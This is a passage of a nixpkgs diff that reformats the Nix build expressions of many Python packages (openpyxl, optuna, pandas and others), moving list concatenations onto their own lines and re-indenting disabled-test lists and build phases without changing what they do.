     lazy-object-proxy
     openapi-schema-validator
-  ] ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/opencamlib/default.nix b/pkgs/development/python-modules/opencamlib/default.nix
index 82b817adae30..101482b80711 100644
--- a/pkgs/development/python-modules/opencamlib/default.nix
+++ b/pkgs/development/python-modules/opencamlib/default.nix
@@ -29,7 +29,8 @@ buildPythonPackage rec {
 
   buildInputs = [
     boost
-  ] ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
+  ]
+  ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ];
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/development/python-modules/openfga-sdk/default.nix b/pkgs/development/python-modules/openfga-sdk/default.nix
index 390f30cf1812..cbf20d3c14a8 100644
--- a/pkgs/development/python-modules/openfga-sdk/default.nix
+++ b/pkgs/development/python-modules/openfga-sdk/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     mock
     pytest-cov-stub
     pytestCheckHook
-  ] ++ lib.optionals (pythonAtLeast "3.13") [ pytest-asyncio ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [ pytest-asyncio ];
 
   disabledTests = lib.optionals (pythonAtLeast "3.13") [
     # These fail due to a race condition in the test mocks
diff --git a/pkgs/development/python-modules/openpyxl/default.nix b/pkgs/development/python-modules/openpyxl/default.nix
index 602cdd29e825..96ff8b38e01d 100644
--- a/pkgs/development/python-modules/openpyxl/default.nix
+++ b/pkgs/development/python-modules/openpyxl/default.nix
@@ -43,29 +43,28 @@ buildPythonPackage rec {
     "ignore::DeprecationWarning"
   ];
 
-  disabledTests =
-    [
-      # Tests broken since lxml 2.12; https://foss.heptapod.net/openpyxl/openpyxl/-/issues/2116
-      "test_read"
-      "test_read_comments"
-      "test_ignore_external_blip"
-      "test_from_xml"
-      "test_filenames"
-      "test_exts"
-      "test_from_complex"
-      "test_merge_named_styles"
-      "test_unprotected_cell"
-      "test_none_values"
-      "test_rgb_colors"
-      "test_named_styles"
-      "test_read_ole_link"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.11") [
-      "test_broken_sheet_ref"
-      "test_name_invalid_index"
-      "test_defined_names_print_area"
-      "test_no_styles"
-    ];
+  disabledTests = [
+    # Tests broken since lxml 2.12; https://foss.heptapod.net/openpyxl/openpyxl/-/issues/2116
+    "test_read"
+    "test_read_comments"
+    "test_ignore_external_blip"
+    "test_from_xml"
+    "test_filenames"
+    "test_exts"
+    "test_from_complex"
+    "test_merge_named_styles"
+    "test_unprotected_cell"
+    "test_none_values"
+    "test_rgb_colors"
+    "test_named_styles"
+    "test_read_ole_link"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.11") [
+    "test_broken_sheet_ref"
+    "test_name_invalid_index"
+    "test_defined_names_print_area"
+    "test_no_styles"
+  ];
 
   pythonImportsCheck = [ "openpyxl" ];
 
diff --git a/pkgs/development/python-modules/opensearch-py/default.nix b/pkgs/development/python-modules/opensearch-py/default.nix
index 0b50d63397e4..eac58de9c268 100644
--- a/pkgs/development/python-modules/opensearch-py/default.nix
+++ b/pkgs/development/python-modules/opensearch-py/default.nix
@@ -61,7 +61,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pyyaml
     pytz
-  ] ++ optional-dependencies.async;
+  ]
+  ++ optional-dependencies.async;
 
   __darwinAllowLocalNetworking = true;
 
@@ -73,21 +74,20 @@ buildPythonPackage rec {
     "test_opensearchpy/test_server_secured"
   ];
 
-  disabledTests =
-    [
-      # finds our ca-bundle, but expects something else (/path/to/clientcert/dir or None)
-      "test_ca_certs_ssl_cert_dir"
-      "test_no_ca_certs"
+  disabledTests = [
+    # finds our ca-bundle, but expects something else (/path/to/clientcert/dir or None)
+    "test_ca_certs_ssl_cert_dir"
+    "test_no_ca_certs"
 
-      # Failing tests, issue opened at https://github.com/opensearch-project/opensearch-py/issues/849
-      "test_basicauth_in_request_session"
-      "test_callable_in_request_session"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86) [
-      # Flaky tests: OSError: [Errno 48] Address already in use
-      "test_redirect_failure_when_allow_redirect_false"
-      "test_redirect_success_when_allow_redirect_true"
-    ];
+    # Failing tests, issue opened at https://github.com/opensearch-project/opensearch-py/issues/849
+    "test_basicauth_in_request_session"
+    "test_callable_in_request_session"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86) [
+    # Flaky tests: OSError: [Errno 48] Address already in use
+    "test_redirect_failure_when_allow_redirect_false"
+    "test_redirect_success_when_allow_redirect_true"
+  ];
 
   meta = {
     description = "Python low-level client for OpenSearch";
diff --git a/pkgs/development/python-modules/opensfm/default.nix b/pkgs/development/python-modules/opensfm/default.nix
index 58f6003d7c5a..fb56ece3d4d6 100644
--- a/pkgs/development/python-modules/opensfm/default.nix
+++ b/pkgs/development/python-modules/opensfm/default.nix
@@ -122,15 +122,14 @@ buildPythonPackage rec {
     "-Sopensfm/src"
   ];
 
-  disabledTests =
-    [
-      "test_run_all" # Matplotlib issues. Broken integration is less useless than a broken build
-      "test_match_candidates_from_metadata_bow" # flaky
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_reconstruction_incremental"
-      "test_reconstruction_triangulation"
-    ];
+  disabledTests = [
+    "test_run_all" # Matplotlib issues. Broken integration is less useless than a broken build
+    "test_match_candidates_from_metadata_bow" # flaky
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_reconstruction_incremental"
+    "test_reconstruction_triangulation"
+  ];
 
   pythonImportsCheck = [ "opensfm" ];
 
diff --git a/pkgs/development/python-modules/openstacksdk/tests.nix b/pkgs/development/python-modules/openstacksdk/tests.nix
index c5bbc68e3d6c..8d9c5ac992f9 100644
--- a/pkgs/development/python-modules/openstacksdk/tests.nix
+++ b/pkgs/development/python-modules/openstacksdk/tests.nix
@@ -35,41 +35,40 @@ buildPythonPackage {
     testscenarios
   ];
 
-  checkPhase =
-    ''
-      stestr run -e <(echo "
-    ''
-    + lib.optionalString stdenv.hostPlatform.isAarch64 ''
-      openstack.tests.unit.cloud.test_baremetal_node.TestBaremetalNode.test_node_set_provision_state_with_retries
-      openstack.tests.unit.cloud.test_role_assignment.TestRoleAssignment.test_grant_role_user_domain_exists
-      openstack.tests.unit.cloud.test_volume_backups.TestVolumeBackups.test_delete_volume_backup_force
-      openstack.tests.unit.object_store.v1.test_proxy.TestTempURLBytesPathAndKey.test_set_account_temp_url_key_second
-      openstack.tests.unit.cloud.test_security_groups.TestSecurityGroups.test_delete_security_group_neutron_not_found
-    ''
-    + ''
-      openstack.tests.unit.cloud.test_baremetal_node.TestBaremetalNode.test_wait_for_baremetal_node_lock_locked
-      openstack.tests.unit.cloud.test_baremetal_node.TestBaremetalNode.test_inspect_machine_inspect_failed
-      openstack.tests.unit.cloud.test_baremetal_node.TestBaremetalNode.test_inspect_machine_available_wait
-      openstack.tests.unit.cloud.test_baremetal_node.TestBaremetalNode.test_inspect_machine_wait
-      openstack.tests.unit.cloud.test_image.TestImage.test_create_image_task
-      openstack.tests.unit.image.v2.test_proxy.TestImageProxy.test_wait_for_task_error_396
-      openstack.tests.unit.image.v2.test_proxy.TestImageProxy.test_wait_for_task_wait
-      openstack.tests.unit.image.v2.test_proxy.TestTask.test_wait_for_task_error_396
-      openstack.tests.unit.image.v2.test_proxy.TestTask.test_wait_for_task_wait
-      openstack.tests.unit.test_resource.TestWaitForDelete.test_callback
-      openstack.tests.unit.test_resource.TestWaitForDelete.test_callback_without_progress
-      openstack.tests.unit.test_resource.TestWaitForDelete.test_status
-      openstack.tests.unit.test_resource.TestWaitForDelete.test_success_not_found
-      openstack.tests.unit.test_resource.TestWaitForStatus.test_callback
-      openstack.tests.unit.test_resource.TestWaitForStatus.test_status_fails
-      openstack.tests.unit.test_resource.TestWaitForStatus.test_status_fails_different_attribute
-      openstack.tests.unit.test_resource.TestWaitForStatus.test_status_match
-      openstack.tests.unit.test_resource.TestWaitForStatus.test_status_match_with_none
-      openstack.tests.unit.test_stats.TestStats.test_list_projects
-      openstack.tests.unit.test_stats.TestStats.test_projects
-      openstack.tests.unit.test_stats.TestStats.test_servers
-      openstack.tests.unit.test_stats.TestStats.test_servers_no_detail
-      openstack.tests.unit.test_stats.TestStats.test_timeout
-      ")
-    '';
+  checkPhase = ''
+    stestr run -e <(echo "
+  ''
+  + lib.optionalString stdenv.hostPlatform.isAarch64 ''
+    openstack.tests.unit.cloud.test_baremetal_node.TestBaremetalNode.test_node_set_provision_state_with_retries
+    openstack.tests.unit.cloud.test_role_assignment.TestRoleAssignment.test_grant_role_user_domain_exists
+    openstack.tests.unit.cloud.test_volume_backups.TestVolumeBackups.test_delete_volume_backup_force
+    openstack.tests.unit.object_store.v1.test_proxy.TestTempURLBytesPathAndKey.test_set_account_temp_url_key_second
+    openstack.tests.unit.cloud.test_security_groups.TestSecurityGroups.test_delete_security_group_neutron_not_found
+  ''
+  + ''
+    openstack.tests.unit.cloud.test_baremetal_node.TestBaremetalNode.test_wait_for_baremetal_node_lock_locked
+    openstack.tests.unit.cloud.test_baremetal_node.TestBaremetalNode.test_inspect_machine_inspect_failed
+    openstack.tests.unit.cloud.test_baremetal_node.TestBaremetalNode.test_inspect_machine_available_wait
+    openstack.tests.unit.cloud.test_baremetal_node.TestBaremetalNode.test_inspect_machine_wait
+    openstack.tests.unit.cloud.test_image.TestImage.test_create_image_task
+    openstack.tests.unit.image.v2.test_proxy.TestImageProxy.test_wait_for_task_error_396
+    openstack.tests.unit.image.v2.test_proxy.TestImageProxy.test_wait_for_task_wait
+    openstack.tests.unit.image.v2.test_proxy.TestTask.test_wait_for_task_error_396
+    openstack.tests.unit.image.v2.test_proxy.TestTask.test_wait_for_task_wait
+    openstack.tests.unit.test_resource.TestWaitForDelete.test_callback
+    openstack.tests.unit.test_resource.TestWaitForDelete.test_callback_without_progress
+    openstack.tests.unit.test_resource.TestWaitForDelete.test_status
+    openstack.tests.unit.test_resource.TestWaitForDelete.test_success_not_found
+    openstack.tests.unit.test_resource.TestWaitForStatus.test_callback
+    openstack.tests.unit.test_resource.TestWaitForStatus.test_status_fails
+    openstack.tests.unit.test_resource.TestWaitForStatus.test_status_fails_different_attribute
+    openstack.tests.unit.test_resource.TestWaitForStatus.test_status_match
+    openstack.tests.unit.test_resource.TestWaitForStatus.test_status_match_with_none
+    openstack.tests.unit.test_stats.TestStats.test_list_projects
+    openstack.tests.unit.test_stats.TestStats.test_projects
+    openstack.tests.unit.test_stats.TestStats.test_servers
+    openstack.tests.unit.test_stats.TestStats.test_servers_no_detail
+    openstack.tests.unit.test_stats.TestStats.test_timeout
+    ")
+  '';
 }
diff --git a/pkgs/development/python-modules/opentelemetry-instrumentation-django/default.nix b/pkgs/development/python-modules/opentelemetry-instrumentation-django/default.nix
index a8b14f1cfd2c..d5608a832a53 100644
--- a/pkgs/development/python-modules/opentelemetry-instrumentation-django/default.nix
+++ b/pkgs/development/python-modules/opentelemetry-instrumentation-django/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     opentelemetry-test-utils
     pytestCheckHook
-  ] ++ optional-dependencies.asgi;
+  ]
+  ++ optional-dependencies.asgi;
 
   pythonImportsCheck = [ "opentelemetry.instrumentation.django" ];
 
diff --git a/pkgs/development/python-modules/openusd/default.nix b/pkgs/development/python-modules/openusd/default.nix
index f359e88ad818..fe52a7a353fe 100644
--- a/pkgs/development/python-modules/openusd/default.nix
+++ b/pkgs/development/python-modules/openusd/default.nix
@@ -95,72 +95,68 @@ buildPythonPackage rec {
     (lib.cmakeBool "PXR_ENABLE_OSL_SUPPORT" (!stdenv.hostPlatform.isDarwin && withOsl))
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      setuptools
-    ]
-    ++ lib.optionals withDocs [
-      git
-      graphviz-nox
-      doxygen
-    ]
-    ++ lib.optionals withUsdView [ qt6.wrapQtAppsHook ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    setuptools
+  ]
+  ++ lib.optionals withDocs [
+    git
+    graphviz-nox
+    doxygen
+  ]
+  ++ lib.optionals withUsdView [ qt6.wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      alembic.dev
-      bison
-      draco
-      embree
-      flex
-      imath
-      materialx
-      opencolorio
-      openimageio_2
-      opensubdiv
-      ptex
-      tbb
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libGL
-      libX11
-      libXt
-    ]
-    ++ lib.optionals withOsl [ osl ]
-    ++ lib.optionals withUsdView [ qt6.qtbase ]
-    ++ lib.optionals (withUsdView && stdenv.hostPlatform.isLinux) [ qt6.qtwayland ];
+  buildInputs = [
+    alembic.dev
+    bison
+    draco
+    embree
+    flex
+    imath
+    materialx
+    opencolorio
+    openimageio_2
+    opensubdiv
+    ptex
+    tbb
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libGL
+    libX11
+    libXt
+  ]
+  ++ lib.optionals withOsl [ osl ]
+  ++ lib.optionals withUsdView [ qt6.qtbase ]
+  ++ lib.optionals (withUsdView && stdenv.hostPlatform.isLinux) [ qt6.qtwayland ];
 
-  propagatedBuildInputs =
-    [
-      boost
-      jinja2
-      numpy
-      pyopengl
-      distutils
-    ]
-    ++ lib.optionals (withTools || withUsdView) [
-      pyside-tools-uic
-      pyside6
-    ]
-    ++ lib.optionals withUsdView [ pyqt6 ];
+  propagatedBuildInputs = [
+    boost
+    jinja2
+    numpy
+    pyopengl
+    distutils
+  ]
+  ++ lib.optionals (withTools || withUsdView) [
+    pyside-tools-uic
+    pyside6
+  ]
+  ++ lib.optionals withUsdView [ pyqt6 ];
 
   pythonImportsCheck = [
     "pxr"
     "pxr.Usd"
   ];
 
-  postInstall =
-    ''
-      # Make python lib properly accessible
-      target_dir=$out/${python.sitePackages}
-      mkdir -p $(dirname $target_dir)
-      mv $out/lib/python $target_dir
-    ''
-    + lib.optionalString withDocs ''
-      mv $out/docs $doc
-    '';
+  postInstall = ''
+    # Make python lib properly accessible
+    target_dir=$out/${python.sitePackages}
+    mkdir -p $(dirname $target_dir)
+    mv $out/lib/python $target_dir
+  ''
+  + lib.optionalString withDocs ''
+    mv $out/docs $doc
+  '';
 
   meta = {
     description = "Universal Scene Description";
diff --git a/pkgs/development/python-modules/optax/default.nix b/pkgs/development/python-modules/optax/default.nix
index e8b265fe8512..f7191200355a 100644
--- a/pkgs/development/python-modules/optax/default.nix
+++ b/pkgs/development/python-modules/optax/default.nix
@@ -44,7 +44,8 @@ buildPythonPackage rec {
     jax
     jaxlib
     numpy
-  ] ++ etils.optional-dependencies.epy;
+  ]
+  ++ etils.optional-dependencies.epy;
 
   postInstall = ''
     mkdir $testsout
diff --git a/pkgs/development/python-modules/optimum/default.nix b/pkgs/development/python-modules/optimum/default.nix
index 43925f8ee7ab..f8955808beac 100644
--- a/pkgs/development/python-modules/optimum/default.nix
+++ b/pkgs/development/python-modules/optimum/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
     packaging
     torch
     transformers
-  ] ++ transformers.optional-dependencies.sentencepiece;
+  ]
+  ++ transformers.optional-dependencies.sentencepiece;
 
   optional-dependencies = {
     onnxruntime = [
diff --git a/pkgs/development/python-modules/optuna/default.nix b/pkgs/development/python-modules/optuna/default.nix
index 32ed3ccd3d5e..d6f648ae7ff4 100644
--- a/pkgs/development/python-modules/optuna/default.nix
+++ b/pkgs/development/python-modules/optuna/default.nix
@@ -89,54 +89,52 @@ buildPythonPackage rec {
     sed -i '/"grpc",/d' optuna/testing/storages.py
   '';
 
-  nativeCheckInputs =
-    [
-      addBinToPathHook
-      fakeredis
-      kaleido
-      moto
-      pytest-xdist
-      pytestCheckHook
-      torch
-      versionCheckHook
-    ]
-    ++ fakeredis.optional-dependencies.lua
-    ++ optional-dependencies.optional;
+  nativeCheckInputs = [
+    addBinToPathHook
+    fakeredis
+    kaleido
+    moto
+    pytest-xdist
+    pytestCheckHook
+    torch
+    versionCheckHook
+  ]
+  ++ fakeredis.optional-dependencies.lua
+  ++ optional-dependencies.optional;
   versionCheckProgramArg = "--version";
 
-  disabledTests =
-    [
-      # ValueError: Transform failed with error code 525: error creating static canvas/context for image server
-      "test_get_pareto_front_plot"
-      # too narrow time limit
-      "test_get_timeline_plot_with_killed_running_trials"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # ValueError: Failed to start Kaleido subprocess. Error stream
-      # kaleido/executable/kaleido: line 5:  5956 Illegal instruction: 4  ./bin/kaleido $@
-      "test_get_optimization_history_plot"
-      "test_plot_intermediate_values"
-      "test_plot_rank"
-      "test_plot_terminator_improvement"
+  disabledTests = [
+    # ValueError: Transform failed with error code 525: error creating static canvas/context for image server
+    "test_get_pareto_front_plot"
+    # too narrow time limit
+    "test_get_timeline_plot_with_killed_running_trials"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # ValueError: Failed to start Kaleido subprocess. Error stream
+    # kaleido/executable/kaleido: line 5:  5956 Illegal instruction: 4  ./bin/kaleido $@
+    "test_get_optimization_history_plot"
+    "test_plot_intermediate_values"
+    "test_plot_rank"
+    "test_plot_terminator_improvement"
 
-      # Fatal Python error: Aborted
-      # matplotlib/backend_bases.py", line 2654 in create_with_canvas
-      "test_edf_plot_no_trials"
-      "test_get_timeline_plot"
-      "test_plot_contour"
-      "test_plot_contour_customized_target_name"
-      "test_plot_edf_with_multiple_studies"
-      "test_plot_edf_with_target"
-      "test_plot_parallel_coordinate"
-      "test_plot_parallel_coordinate_customized_target_name"
-      "test_plot_param_importances"
-      "test_plot_param_importances_customized_target_name"
-      "test_plot_param_importances_multiobjective_all_objectives_displayed"
-      "test_plot_slice"
-      "test_plot_slice_customized_target_name"
-      "test_target_is_none_and_study_is_multi_obj"
-      "test_visualizations_with_single_objectives"
-    ];
+    # Fatal Python error: Aborted
+    # matplotlib/backend_bases.py", line 2654 in create_with_canvas
+    "test_edf_plot_no_trials"
+    "test_get_timeline_plot"
+    "test_plot_contour"
+    "test_plot_contour_customized_target_name"
+    "test_plot_edf_with_multiple_studies"
+    "test_plot_edf_with_target"
+    "test_plot_parallel_coordinate"
+    "test_plot_parallel_coordinate_customized_target_name"
+    "test_plot_param_importances"
+    "test_plot_param_importances_customized_target_name"
+    "test_plot_param_importances_multiobjective_all_objectives_displayed"
+    "test_plot_slice"
+    "test_plot_slice_customized_target_name"
+    "test_target_is_none_and_study_is_multi_obj"
+    "test_visualizations_with_single_objectives"
+  ];
 
   pythonImportsCheck = [ "optuna" ];
 
diff --git a/pkgs/development/python-modules/orange-widget-base/default.nix b/pkgs/development/python-modules/orange-widget-base/default.nix
index fe80dff8d07a..a89a737817ff 100644
--- a/pkgs/development/python-modules/orange-widget-base/default.nix
+++ b/pkgs/development/python-modules/orange-widget-base/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
     pyqtgraph
     pyqtwebengine
     typing-extensions
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ appnope ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ appnope ];
 
   pythonImportsCheck = [ "orangewidget" ];
 
diff --git a/pkgs/development/python-modules/orjson/default.nix b/pkgs/development/python-modules/orjson/default.nix
index 89dc39be7366..c15bf299eb80 100644
--- a/pkgs/development/python-modules/orjson/default.nix
+++ b/pkgs/development/python-modules/orjson/default.nix
@@ -48,12 +48,13 @@ buildPythonPackage rec {
     hash = "sha256-mOHOIKmcXjPwZ8uPth+yvreHG4IpiS6SFhWY+IZS69E=";
   };
 
-  nativeBuildInputs =
-    [ cffi ]
-    ++ (with rustPlatform; [
-      cargoSetupHook
-      maturinBuildHook
-    ]);
+  nativeBuildInputs = [
+    cffi
+  ]
+  ++ (with rustPlatform; [
+    cargoSetupHook
+    maturinBuildHook
+  ]);
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
diff --git a/pkgs/development/python-modules/ormar/default.nix b/pkgs/development/python-modules/ormar/default.nix
index 53d9e3005b9f..111961b52509 100644
--- a/pkgs/development/python-modules/ormar/default.nix
+++ b/pkgs/development/python-modules/ormar/default.nix
@@ -49,18 +49,17 @@ buildPythonPackage rec {
     poetry-core
   ];
 
-  propagatedBuildInputs =
-    [
-      databases
-      psycopg2
-      pydantic
-      sqlalchemy
-      psycopg2
-    ]
-    ++ lib.optionals (pythonOlder "3.8") [
-      typing-extensions
-      importlib-metadata
-    ];
+  propagatedBuildInputs = [
+    databases
+    psycopg2
+    pydantic
+    sqlalchemy
+    psycopg2
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [
+    typing-extensions
+    importlib-metadata
+  ];
 
   optional-dependencies = {
     postgresql = [ asyncpg ];
@@ -89,7 +88,8 @@ buildPythonPackage rec {
     httpx
     nest-asyncio
     pytest-asyncio
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   disabledTestPaths = [ "benchmarks/test_benchmark_*.py" ];
 
diff --git a/pkgs/development/python-modules/oslo-log/default.nix b/pkgs/development/python-modules/oslo-log/default.nix
index 7e34fb1f7cc3..8568adfa4629 100644
--- a/pkgs/development/python-modules/oslo-log/default.nix
+++ b/pkgs/development/python-modules/oslo-log/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     oslo-utils
     pbr
     python-dateutil
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ pyinotify ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ pyinotify ];
 
   nativeCheckInputs = [
     eventlet
diff --git a/pkgs/development/python-modules/osqp/default.nix b/pkgs/development/python-modules/osqp/default.nix
index 83fd6645cde7..84d7e34a3c0f 100644
--- a/pkgs/development/python-modules/osqp/default.nix
+++ b/pkgs/development/python-modules/osqp/default.nix
@@ -57,19 +57,18 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "osqp" ];
 
-  disabledTests =
-    [
-      # Need an unfree license package - mkl
-      "test_issue14"
-    ]
-    # disable tests failing after scipy 1.12 update
-    # https://github.com/osqp/osqp-python/issues/121
-    # re-enable once unit tests fixed
-    ++ [
-      "feasibility_tests"
-      "polish_tests"
-      "update_matrices_tests"
-    ];
+  disabledTests = [
+    # Need an unfree license package - mkl
+    "test_issue14"
+  ]
+  # disable tests failing after scipy 1.12 update
+  # https://github.com/osqp/osqp-python/issues/121
+  # re-enable once unit tests fixed
+  ++ [
+    "feasibility_tests"
+    "polish_tests"
+    "update_matrices_tests"
+  ];
 
   meta = with lib; {
     description = "Operator Splitting QP Solver";
diff --git a/pkgs/development/python-modules/paddlepaddle/default.nix b/pkgs/development/python-modules/paddlepaddle/default.nix
index 8263ae8ec8c5..6c60bcfbb8ab 100644
--- a/pkgs/development/python-modules/paddlepaddle/default.nix
+++ b/pkgs/development/python-modules/paddlepaddle/default.nix
@@ -111,11 +111,12 @@ buildPythonPackage {
     homepage = "https://github.com/PaddlePaddle/Paddle";
     license = licenses.asl20;
     maintainers = with maintainers; [ happysalada ];
-    platforms =
-      [ "x86_64-linux" ]
-      ++ optionals (!cudaSupport) [
-        "x86_64-darwin"
-        "aarch64-darwin"
-      ];
+    platforms = [
+      "x86_64-linux"
+    ]
+    ++ optionals (!cudaSupport) [
+      "x86_64-darwin"
+      "aarch64-darwin"
+    ];
   };
 }
diff --git a/pkgs/development/python-modules/pandas-stubs/default.nix b/pkgs/development/python-modules/pandas-stubs/default.nix
index 3ecc12fe9e98..cc22e73d99d6 100644
--- a/pkgs/development/python-modules/pandas-stubs/default.nix
+++ b/pkgs/development/python-modules/pandas-stubs/default.nix
@@ -77,26 +77,25 @@ buildPythonPackage rec {
     python-calamine
   ];
 
-  disabledTests =
-    [
-      # Missing dependencies, error and warning checks
-      "test_all_read_without_lxml_dtype_backend" # pyarrow.orc
-      "test_orc" # pyarrow.orc
-      "test_plotting" # UserWarning: No artists with labels found to put in legend.
-      "test_spss" # FutureWarning: ChainedAssignmentError: behaviour will change in pandas 3.0!
-      "test_show_version"
-      # FutureWarning: In the future `np.bool` will be defined as the corresponding...
-      "test_timedelta_cmp"
-      "test_timestamp_cmp"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_clipboard" # FileNotFoundError: [Errno 2] No such file or directory: 'pbcopy'
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # Disable tests for types that are not supported on aarch64 in `numpy` < 2.0
-      "test_astype_float" # `f16` and `float128`
-      "test_astype_complex" # `c32` and `complex256`
-    ];
+  disabledTests = [
+    # Missing dependencies, error and warning checks
+    "test_all_read_without_lxml_dtype_backend" # pyarrow.orc
+    "test_orc" # pyarrow.orc
+    "test_plotting" # UserWarning: No artists with labels found to put in legend.
+    "test_spss" # FutureWarning: ChainedAssignmentError: behaviour will change in pandas 3.0!
+    "test_show_version"
+    # FutureWarning: In the future `np.bool` will be defined as the corresponding...
+    "test_timedelta_cmp"
+    "test_timestamp_cmp"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_clipboard" # FileNotFoundError: [Errno 2] No such file or directory: 'pbcopy'
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # Disable tests for types that are not supported on aarch64 in `numpy` < 2.0
+    "test_astype_float" # `f16` and `float128`
+    "test_astype_complex" # `c32` and `complex256`
+  ];
 
   pythonImportsCheck = [ "pandas" ];
 
diff --git a/pkgs/development/python-modules/pandas/default.nix b/pkgs/development/python-modules/pandas/default.nix
index f08952fe98e9..db0f0122de29 100644
--- a/pkgs/development/python-modules/pandas/default.nix
+++ b/pkgs/development/python-modules/pandas/default.nix
@@ -110,7 +110,8 @@ let
       pkg-config
       versioneer
       wheel
-    ] ++ versioneer.optional-dependencies.toml;
+    ]
+    ++ versioneer.optional-dependencies.toml;
 
     enableParallelBuilding = true;
 
@@ -188,22 +189,21 @@ let
       doCheck = true;
     });
 
-    nativeCheckInputs =
-      [
-        hypothesis
-        pytest-asyncio
-        pytest-xdist
-        pytestCheckHook
-      ]
-      ++ lib.flatten (lib.attrValues optional-dependencies)
-      ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-        # for locale executable
-        glibc
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-        # for locale executable
-        adv_cmds
-      ];
+    nativeCheckInputs = [
+      hypothesis
+      pytest-asyncio
+      pytest-xdist
+      pytestCheckHook
+    ]
+    ++ lib.flatten (lib.attrValues optional-dependencies)
+    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+      # for locale executable
+      glibc
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+      # for locale executable
+      adv_cmds
+    ];
 
     # don't max out build cores, it breaks tests
     dontUsePytestXdist = true;
@@ -220,38 +220,36 @@ let
       "4"
     ];
 
-    disabledTests =
-      [
-        # AssertionError: Did not see expected warning of class 'FutureWarning'
-        "test_parsing_tzlocal_deprecated"
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-        # tests/generic/test_finalize.py::test_binops[and_-args4-right] - AssertionError: assert {} == {'a': 1}
-        "test_binops"
-        # These tests are unreliable on aarch64-darwin. See https://github.com/pandas-dev/pandas/issues/38921.
-        "test_rolling"
-      ]
-      ++ lib.optional stdenv.hostPlatform.is32bit [
-        # https://github.com/pandas-dev/pandas/issues/37398
-        "test_rolling_var_numerical_issues"
-      ];
+    disabledTests = [
+      # AssertionError: Did not see expected warning of class 'FutureWarning'
+      "test_parsing_tzlocal_deprecated"
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+      # tests/generic/test_finalize.py::test_binops[and_-args4-right] - AssertionError: assert {} == {'a': 1}
+      "test_binops"
+      # These tests are unreliable on aarch64-darwin. See https://github.com/pandas-dev/pandas/issues/38921.
+      "test_rolling"
+    ]
+    ++ lib.optional stdenv.hostPlatform.is32bit [
+      # https://github.com/pandas-dev/pandas/issues/37398
+      "test_rolling_var_numerical_issues"
+    ];
 
     # Tests have relative paths, and need to reference compiled C extensions
     # so change directory where `import .test` is able to be resolved
-    preCheck =
-      ''
-        export HOME=$TMPDIR
-        cd $out/${python.sitePackages}/pandas
-      ''
-      # TODO: Get locale and clipboard support working on darwin.
-      #       Until then we disable the tests.
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        # Fake the impure dependencies pbpaste and pbcopy
-        echo "#!${runtimeShell}" > pbcopy
-        echo "#!${runtimeShell}" > pbpaste
-        chmod a+x pbcopy pbpaste
-        export PATH=$(pwd):$PATH
-      '';
+    preCheck = ''
+      export HOME=$TMPDIR
+      cd $out/${python.sitePackages}/pandas
+    ''
+    # TODO: Get locale and clipboard support working on darwin.
+    #       Until then we disable the tests.
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      # Fake the impure dependencies pbpaste and pbcopy
+      echo "#!${runtimeShell}" > pbcopy
+      echo "#!${runtimeShell}" > pbpaste
+      chmod a+x pbcopy pbpaste
+      export PATH=$(pwd):$PATH
+    '';
 
     pythonImportsCheck = [ "pandas" ];
 
diff --git a/pkgs/development/python-modules/pandera/default.nix b/pkgs/development/python-modules/pandera/default.nix
index 353fd5aa7832..6cdecbbe939f 100644
--- a/pkgs/development/python-modules/pandera/default.nix
+++ b/pkgs/development/python-modules/pandera/default.nix
@@ -106,7 +106,8 @@ buildPythonPackage rec {
